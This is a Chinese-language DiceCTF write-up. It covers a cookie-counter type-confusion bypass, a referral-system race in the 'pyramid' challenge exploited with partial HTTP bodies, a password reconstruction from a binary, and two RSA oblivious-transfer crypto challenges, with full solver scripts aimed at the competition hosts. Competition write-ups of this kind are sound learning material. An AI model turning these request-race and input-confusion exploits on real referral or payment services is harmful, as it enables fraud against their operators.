Web

Mmmmmmm…

const express = require('express')

const app = express()

const cookies = new Map()

app.use((req, res, next) => {
const cookies = req.headers.cookie
const user = cookies?.split('=')?.[1]

if (user) { req.user = user }
else {
const id = Math.random().toString(36).slice(2)
res.setHeader('set-cookie', `user=${id}`)
req.user = id
}

next()
})

app.get('/', (req, res) => {
const count = cookies.get(req.user) ?? 0
res.type('html').send(`
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@exampledev/new.css@1/new.min.css">
<link rel="stylesheet" href="https://fonts.xz.style/serve/inter.css">
<div>You have <span>${count}</span> cookies</div>
<button id="basic">Basic cookie recipe (makes one)</button>
<br>
<button id="advanced">Advanced cookie recipe (makes a dozen)</button>
<br>
<button disabled>Super cookie recipe (makes a million)</button>
<br>
<button id="deliver">Deliver cookies</button>
<script src="/script.js"></script>
`)
})

app.get('/script.js', (_req, res) => {
res.type('js').send(`
const basic = document.querySelector('#basic')
const advanced = document.querySelector('#advanced')
const deliver = document.querySelector('#deliver')

const showCookies = (number) => {
const span = document.querySelector('span')
span.textContent = number
}

basic.addEventListener('click', async () => {
const res = await fetch('/bake?number=1', { method: 'POST' })
const number = await res.text()
showCookies(+number)
})

advanced.addEventListener('click', async () => {
const res = await fetch('/bake?number=12', { method: 'POST' })
const number = await res.text()
showCookies(+number)
})


deliver.addEventListener('click', async () => {
const res = await fetch('/deliver', { method: 'POST' })
const text = await res.text()
alert(text)
})
`)
})

app.post('/bake', (req, res) => {
const number = req.query.number
if (!number) {
res.end('missing number')
} else if (number.length <= 2) {
cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number))
res.end(cookies.get(req.user).toString())
} else {
res.end('that is too many cookies')
}
})

app.post('/deliver', (req, res) => {
const current = cookies.get(req.user) ?? 0
const target = 1_000_000_000
if (current < target) {
res.end(`not enough (need ${target - current}) more`)
} else {
res.end(process.env.FLAG)
}
})

app.listen(3000)

点击量需要十亿次

app.post('/bake', (req, res) => {
const number = req.query.number
if (!number) {
res.end('missing number')
} else if (number.length <= 2) {
cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number))
res.end(cookies.get(req.user).toString())
} else {
res.end('that is too many cookies')
}
})

限制了我们传入的数字字符串number长度小于等于2,这里可以用数组绕过,从而检验的是数组的长度,而不是字符串长度
POST /bake?number[]=99999999999999

pyramid(复现学习)

Would you like to buy some supplements?

const express = require('express')
const crypto = require('crypto')
const app = express()

const css = `
<link
rel="stylesheet"
href="https://unpkg.com/axist@latest/dist/axist.min.css"
>
`

const users = new Map()
const codes = new Map()

const random = () => crypto.randomBytes(16).toString('hex')
const escape = (str) => str.replace(/</g, '&lt;')
const referrer = (code) => {
if (code && codes.has(code)) {
const token = codes.get(code)
if (users.has(token)) {
return users.get(token)
}
}
return null
}

app.use((req, _res, next) => {
const token = req.headers.cookie?.split('=')?.[1]
if (token) {
req.token = token
if (users.has(token)) {
req.user = users.get(token)
}
}
next()
})

app.get('/', (req, res) => {
res.type('html')

if (req.user) {
res.end(`
${css}
<h1>Account: ${escape(req.user.name)}</h1>
You have <strong>${req.user.bal}</strong> coins.
You have referred <strong>${req.user.ref}</strong> users.

<hr>

<form action="/code" method="GET">
<button type="submit">Generate referral code</button>
</form>
<form action="/cashout" method="GET">
<button type="submit">
Cashout ${req.user.ref} referrals
</button>
</form>
<form action="/buy" method="GET">
<button type="submit">Purchase flag</button>
</form>
`)
} else {
res.end(`
${css}
<h1>Register</h1>
<form action="/new" method="POST">
<input name="name" type="text" placeholder="Name" required>
<input
name="refer"
type="text"
placeholder="Referral code (optional)"
>
<button type="submit">Register</button>
</form>
`)
}
})

app.post('/new', (req, res) => {
const token = random()

const body = []
req.on('data', Array.prototype.push.bind(body))
req.on('end', () => {
const data = Buffer.concat(body).toString()
const parsed = new URLSearchParams(data)
const name = parsed.get('name')?.toString() ?? 'JD'
const code = parsed.get('refer') ?? null

// referrer receives the referral
const r = referrer(code)
if (r) { r.ref += 1 }

users.set(token, {
name,
code,
ref: 0,
bal: 0,
})
})

res.header('set-cookie', `token=${token}`)
res.redirect('/')
})

app.get('/code', (req, res) => {
const token = req.token
if (token) {
const code = random()
codes.set(code, token)
res.type('html').end(`
${css}
<h1>Referral code generated</h1>
<p>Your code: <strong>${code}</strong></p>
<a href="/">Home</a>
`)
return
}
res.end()
})

// referrals translate 1:1 to coins
// you receive half of your referrals as coins
// your referrer receives the other half as kickback
//
// if your referrer is null, you can turn all referrals into coins
app.get('/cashout', (req, res) => {
if (req.user) {
const u = req.user
const r = referrer(u.code)
if (r) {
[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
} else {
[u.ref, u.bal] = [0, u.bal + u.ref]
}
}
res.redirect('/')
})

app.get('/buy', (req, res) => {
if (req.user) {
const user = req.user
if (user.bal > 100_000_000_000) {
user.bal -= 100_000_000_000
res.type('html').end(`
${css}
<h1>Successful purchase</h1>
<p>${process.env.FLAG}</p>
`)
return
}
}
res.type('html').end(`
${css}
<h1>Not enough coins</h1>
<a href="/">Home</a>
`)
})

app.listen(3000)

太好玩了,简直无懈可击,不是吗?(潘队:还是太安全了;放弃了,我需要马上玩游戏)

用户不使用推荐码进行注册,那么拉到的人头都是自己的;而使用推荐码注册,拉到的人头要跟上级对半分

emmm,感觉是可以通过自荐来获得1.5的指数爆炸效果,如果可以的话,应该发送63个数据包这样就可以实现。我测试过自荐,但很可惜,它不是在原有基础上再进行1.5指数倍增长,而是一部分一部分的转化,是加算,并且,通过发包发现,并不能实现1.5倍的转化,拿到多少是多少,意思就是没能实现自荐。。。

总不能我yakit多线程发包发到一千亿吧()

这题就像一个倒立的金字塔,越下面的人收获就越少……

赛后,要了V&N一位师傅的exp,钻研之后,接着又去discordwp,均进行了小改,以下脚本全部实现了自动化

首先,说一下实现自荐的思路:其实是因为/new路径下的req.on('data') req.on('end'),这里导致了可以实现分块传输,然后我们第一个块先new,获取到token(读完请求body就可以拿到token),接着Python发包获取到code,第二个块就自荐注册,然后关闭进程,注意此过程token是一直要有的,最后要用一下推荐码才能有最开始的1.5,然后进行转换63次即可(1.5^63=1240亿)

import socket
import requests
import re
import ssl
from tqdm import trange


def addRef(code):
url = "https://pyramid.dicec.tf/new"
data = {
"name": "attacker",
"refer": code
}
requests.post(url, data=data, verify=True)


def exploit():
# 建立HTTPS连接
host = 'pyramid.dicec.tf'
port = 443 # HTTPS默认端口

# 创建SSL上下文
context = ssl.create_default_context()

# 创建普通socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 包装为SSL socket
ssl_sock = context.wrap_socket(s, server_hostname=host)

# 连接到服务器
ssl_sock.connect((host, port))

# 构造分块请求头
request = (
"POST /new HTTP/1.1\r\n"
"Host: {host}\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"\r\n"
).format(host=host)

# 发送请求头
ssl_sock.send(request.encode())

# 接收服务器响应头(包含Set-Cookie)
response = b''
while b'\r\n\r\n' not in response: # 读取到空行表示响应头结束
response += ssl_sock.recv(1024)

headers = response.split(b'\r\n\r\n')[0].decode()
cookie_header = [line for line in headers.split(
'\r\n') if 'set-cookie:' in line.lower()][0]
token = cookie_header.split('=')[1].split(';')[0]

url = "https://pyramid.dicec.tf/code"
cookie = {
"token": token
}
res = requests.get(url, cookies=cookie, verify=True)
code = re.findall(r'<strong>(.*?)</strong>', res.text)[0]
print(f"获取到的code: {code}")

# 发送第二个块:包含refer=code的数据
refer_data = f"name=attacker&refer={code}".encode()
chunk2_length = format(len(refer_data), 'x') # 将长度转换为十六进制字符串
chunk2 = f"{chunk2_length}\r\n{refer_data.decode()}\r\n"
ssl_sock.send(chunk2.encode())

# 发送结束块
ssl_sock.send(b"0\r\n\r\n")

# 关闭连接
ssl_sock.close()
print(f"[+] Exploit成功!Token已注入:{token}")
addRef(code)
return token


def cashout(token):
url = "https://pyramid.dicec.tf/cashout"
cookie = {
"token": token
}
requests.get(url, cookies=cookie, verify=True)


if __name__ == "__main__":
token = exploit()
for _ in trange(63):
cashout(token)
res = requests.get("https://pyramid.dicec.tf/buy",
cookies={"token": token})
print(res.text)

这里是V&N的师傅的exp,我小改动了一下,主要是通过socket创建进程,注意到分块请求头结束块

import socket
import ssl
import re
import requests
from tqdm import trange

hostname = 'pyramid.dicec.tf'
url = f'http://{hostname}'
context = ssl.create_default_context()

with socket.create_connection((hostname, 443)) as sock:
with context.wrap_socket(sock, server_hostname=hostname) as ssock:
ssock.send(b'POST /new HTTP/1.1\r\n'
b'Host: pyramid.dicec.tf\r\n'
b'Connection: keep-alive\r\n'
b'Keep-Alive: timeout=25\r\n'
b'Host: pyramid.dicec.tf\r\n'
b'Content-Length: 51\r\n'
b'\r\n\r\n')
res = ssock.recv(4096).decode()
token = re.search(r"token=(\w+)", res)[1]
print(f'[+] Token: {token}')
resp = requests.get(url + '/code', cookies={'token': token})
code = re.search(r"strong>(\w+)</strong", resp.text)[1]
print(f'[+] Code: {code}')
ssock.send(f'name=pepos&refer={code}'.encode())
requests.post(url + '/new', data={'name': 'pepos', 'refer': code})
print('[+] Generated self-referential user')
ssock.close()

for _ in trange(63):
requests.get(url + '/cashout', cookies={'token': token})
res = requests.get(url + '/buy', cookies={'token': token})
print(res.text)

这里是discord上面一位师傅发的,也是通过socket创建进程,但这里并没有发现需要分块请求头,有点奇怪

import requests
from pwn import *
from tqdm import trange

URL = 'https://pyramid.dicec.tf'

# POST a request to /new but don't send data yet
# We receive the cookie with our user token because of the server implementation
r = remote('pyramid.dicec.tf', 443, ssl=True)
r.send(b'POST /new HTTP/1.1\r\nHost: pyramid.dicec.tf:443\r\nContent-Length: 100\r\n\r\n')
token = r.recv().decode().split('token=')[1].split('\r\n')[0]

# Generate a new code for our not totally created account
res = requests.get(URL + '/code', cookies={'token': token})
code = res.text.split('<strong>')[1].split('</strong>')[0]

# Complete the initial registration with self-referral
r.send(b'refer=' + code.encode() + b'&a=1' * 100)

# Create another account so that our ref count is set to 1
requests.post(URL + '/new', data={'refer': code})

# Exploit the /cashout exponential growth in case of self-referral
for _ in trange(63):
requests.get(URL + '/cashout', cookies={'token': token})

# Buy the flag
res = requests.get(URL + '/buy', cookies={'token': token})
print(res.text)

这也是discord上面的一位师傅发的,也是长见识了,pwntools也能实现分块传输,好思路

我试了一下,Pythonrequests发包可能是无法实现分块传输的,应该是需要借助进程才能实现

这样看,这道题还是挺有意思的

Misc

dicecap

As DiceGang haven’t won a CTF in 4 months, we’ve taken to more drastic measures to get to the top of the leaderboard - hacking our competitors! This pcap was gathered from a previous “information gathering” mission, can you find the flag?

先导一下,得到一个压缩包coolzip.zip和二进制文件main

ida反编译

__int64 generate_password()
{
int v1; // [rsp+8h] [rbp-58h]
const char *src; // [rsp+10h] [rbp-50h]
const char *v3; // [rsp+18h] [rbp-48h]
char dest[6]; // [rsp+20h] [rbp-40h] BYREF
char s[10]; // [rsp+26h] [rbp-3Ah] BYREF
char v6[40]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+58h] [rbp-8h]

v7 = __readfsqword(0x28u);
v1 = time(0LL);
sprintf(s, "%d", (unsigned int)(v1 - v1 % 60));
src = setlocale(6, &locale);
strncpy(dest, src, 5uLL);
dest[5] = 0;
v3 = getlogin();
strcat(v6, s);
strcat(v6, dest);
strcat(v6, v3);
printf("The password is:%s\n", v6);
return 0LL;
}

交给ChatGPT

后面两个简单,就找第一个的时间即可,1743126493,发现不对,再转化一下是,1743126480
password: 1743126480en_UShacker
dice{5k1d_y0ur_w@y_t0_v1ct0ry_t0d4y!!!}

bcu-binding

Comrades, we found this old manual in our basement. Can you see if there’s anything interesting about it?

给了一个PDF

记得OSCTF也有这样一题,也是涂黑了,但最后看文档属性就出了,这题并没有

尝试全选改变字体颜色看看有没有隐藏字符,发现异常

FLAG: dice{r3ad1ng_th4_d0cs_71ccd}

Crypto

vorpal-sword

Choose your own adventure!

#!/usr/local/bin/python

import secrets
from Crypto.PublicKey import RSA

DEATH_CAUSES = [
'a fever',
'dysentery',
'measles',
'cholera',
'typhoid',
'exhaustion',
'a snakebite',
'a broken leg',
'a broken arm',
'drowning',
]

def run_ot(key, msg0, msg1):
'''
https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer
'''
x0 = secrets.randbelow(key.n)
x1 = secrets.randbelow(key.n)
print(f'n: {key.n}')
print(f'e: {key.e}')
print(f'x0: {x0}')
print(f'x1: {x1}')
v = int(input('v: '))
assert 0 <= v < key.n, 'invalid value'
k0 = pow(v - x0, key.d, key.n)
k1 = pow(v - x1, key.d, key.n)
m0 = int.from_bytes(msg0.encode(), 'big')
m1 = int.from_bytes(msg1.encode(), 'big')
c0 = (m0 + k0) % key.n
c1 = (m1 + k1) % key.n
print(f'c0: {c0}')
print(f'c1: {c1}')

if __name__ == '__main__':
with open('flag.txt') as f:
flag = f.read().strip()

print('=== CHOOSE YOUR OWN ADVENTURE: Vorpal Sword Edition ===')
print('you enter a cave.')

for _ in range(64):
print('the tunnel forks ahead. do you take the left or right path?')
key = RSA.generate(1024)
msgs = [None, None]
page = secrets.randbits(32)
live = f'you continue walking. turn to page {page}.'
die = f'you die of {secrets.choice(DEATH_CAUSES)}.'
msgs = (live, die) if secrets.randbits(1) else (die, live)
run_ot(key, *msgs)
page_guess = int(input('turn to page: '))
if page_guess != page:
exit()

print(f'you find a chest containing {flag}')

奥,原来这就是不经意传输

这里需要进行64次的输入
n e x0 x1 c0 c1是给出的,v是我们输入的
$k0\equiv (v-x0)^{d}mod(n)$
$k1\equiv(v-x1)^{d}mod(n)$
$c0\equiv m0+k0\ mod(n)$
$c1\equiv m1+k1\ mod(n)$
$m0,m1=(live,die)or(die,live)$

emm,还要注意的是句子后面都有句号VScodecopilot给我tap的都没有,检查了半天
live = f'you continue walking. turn to page {page}.'
die = f'you die of {secrets.choice(DEATH_CAUSES)}.'

这里我们先假设m0 = die,因此m1是我们要知道的,同时m0是可以爆破DEATH_CAUSES

可以看到k0,k1的形式相似,此处精心构造v=(x0+x1)/2
得到
$k1\equiv (-1)^{d}k0(mod\ n)$
这里d必为奇数,因为
$e
d=k*\phi(n) +1$

所以有
$c0+c1\equiv m0+m1\ mod(n)$

然后就可以通过检验m1是否符合live前缀进行page的查找
这里交互的话,要注意input是需要字符串

from pwn import *
from Crypto.Util.number import *
from tqdm import trange

p = remote('dicec.tf', 31001)

DEATH_CAUSES = [
'a fever',
'dysentery',
'measles',
'cholera',
'typhoid',
'exhaustion',
'a snakebite',
'a broken leg',
'a broken arm',
'drowning'
]


def get_value():
return int(p.recvline().strip().split(b': ')[1])


def exp():
p.recvline()
n = get_value()
e = get_value()
x0 = get_value()
x1 = get_value()
v = (x0 + x1) * inverse(2, n) % n
p.sendlineafter(b'v: ', str(v))
c0 = get_value()
c1 = get_value()
sum_m = (c0 + c1) % n
m1_prefix = b'you continue walking. turn to page '
for case in DEATH_CAUSES:
m0 = bytes_to_long(f'you die of {case}.'.encode())
m1 = long_to_bytes((sum_m - m0) % n)
if m1.startswith(m1_prefix):
try:
page = int(m1[len(m1_prefix):-1])
p.sendlineafter(b'turn to page: ', str(page))
return
except ValueError:
continue
raise Exception("No valid page found")


p.recvlines(2)
for i in trange(64):
exp()
p.interactive()

you find a chest containing dice{gl3am1ng_g0ld_doubl00n}

一开始看到这个题目是有点懵的,因为还要交互,后面去学了一手春哥的思路,tql

去搜索不经意传输,也发现一些有意思的题目……

winxy-pistol

Choose your own adventure!

#!/usr/local/bin/python

import hashlib
import secrets
from Crypto.PublicKey import RSA
from Crypto.Util.strxor import strxor

DEATH_CAUSES = [
'a fever',
'dysentery',
'measles',
'cholera',
'typhoid',
'exhaustion',
'a snakebite',
'a broken leg',
'a broken arm',
'drowning',
]

def encrypt(k, msg):
key = k.to_bytes(1024//8, 'big')
msg = msg.encode().ljust(64, b'\x00')
pad = hashlib.shake_256(key).digest(len(msg))
return strxor(pad, msg)

def run_ot(key, msg0, msg1):
'''
https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer
'''
x0 = secrets.randbelow(key.n)
x1 = secrets.randbelow(key.n)
print(f'n: {key.n}')
print(f'e: {key.e}')
print(f'x0: {x0}')
print(f'x1: {x1}')
v = int(input('v: '))
assert 0 <= v < key.n, 'invalid value'
k0 = pow(v - x0, key.d, key.n)
k1 = pow(v - x1, key.d, key.n)
c0 = encrypt(k0, msg0)
c1 = encrypt(k1, msg1)
print(f'c0: {c0.hex()}')
print(f'c1: {c1.hex()}')

if __name__ == '__main__':
with open('flag.txt') as f:
flag = f.read().strip()

with open('key.pem', 'rb') as f:
key = RSA.import_key(f.read())

print('=== CHOOSE YOUR OWN ADVENTURE: Winxy Pistol Edition ===')
print('you enter a cave.')

for _ in range(64):
print('the tunnel forks ahead. do you take the left or right path?')
msgs = [None, None]
page = secrets.randbits(32)
live = f'you continue walking. turn to page {page}.'
die = f'you die of {secrets.choice(DEATH_CAUSES)}.'
msgs = (live, die) if secrets.randbits(1) else (die, live)
run_ot(key, *msgs)
page_guess = int(input('turn to page: '))
if page_guess != page:
exit()

print(f'you find a chest containing {flag}')

诶,才发现这题是上一题的加强版吧,但下班睡觉了

c0,c1的加密方式改为shake_256(key)与异或,关键的一点是rsa的参数固定了

赛后再来学一手,文档里面沛公写的思路太简洁了,又参考了一下maple3142师傅的wp才搞懂,确实是需要开多线程

思路如下:首先令v = x0k0 = 0,$k1\equiv(v-x1)^{d}mod\ n$

然后我们再开一个进程,令$k0’\equiv(v’-x0’)^{d}\equiv(v-x1)^{d}mod\ n\equiv k1$

那么,v' = v + x0' - x1

此时我们可以先假设m0 = die,$c0’\oplus c1=m0’\oplus m1$

然后因为是异或算法,有二分之一的概率m1page会被异或掉,但如果m0' = die,二者异或的话,因为die的死法比较短并且进行的是零填充,所以是可以拿到page

import hashlib
import re
from Crypto.Util.strxor import strxor
from pwn import context, remote
from tqdm import trange


def decrypt(k, ct):
key = k.to_bytes(1024 // 8, "big")
pad = hashlib.shake_256(key).digest(len(ct))
return strxor(pad, ct)


def connect():
io = remote("dicec.tf", 31002)
return io


def recv(io):
io.recvuntil(b"n: ")
n = int(io.recvline().strip())
io.recvuntil(b"e: ")
e = int(io.recvline().strip())
io.recvuntil(b"x0: ")
x0 = int(io.recvline().strip())
io.recvuntil(b"x1: ")
x1 = int(io.recvline().strip())
return n, e, x0, x1


def ot(io, v):
io.sendlineafter(b"v: ", str(v).encode())
io.recvuntil(b"c0: ")
c0 = bytes.fromhex(io.recvlineS().strip())
io.recvuntil(b"c1: ")
c1 = bytes.fromhex(io.recvlineS().strip())
return c0, c1


PAGE_RE = re.compile(rb"page (\d+)")

context.log_level = "error"
io = connect()

for _ in trange(64):
n, e, x0, x1 = recv(io)
v = x0
c0, c1 = ot(io, v)
k0 = 0
m0 = decrypt(k0, c0)
if m0.startswith(b"you die of "):
while True:
io2 = connect()
_, _, x0p, _ = recv(io2)
vp = (v - x1 + x0p) % n
c0p, _ = ot(io2, vp)
io2.close()
m1xorm0p = strxor(c0p, c1)
# we hope m0' is short (death), so the page part will not be xored
# probability: 1/2
if b"page" in m1xorm0p:
page = int(PAGE_RE.search(m1xorm0p).group(1))
break
else:
page = int(PAGE_RE.search(m0).group(1))
io.sendlineafter(b"page: ", str(page).encode())

io.interactive()

you find a chest containing dice{lu5tr0us_j3wel_tr1nk3t}

奇怪的是,我也是按照这个思路写的exp,感觉是因为进程的问题,导致跑几下就报错断开了,改了好多遍还是无法解决……

satisfied(unsolved)

you don’t even know what you’re asking me to confess

看了一下春哥的思路,可能是cryptohack里面哈密顿回路ZKP,好吧,不懂,下班

参考学习

野生大佬wp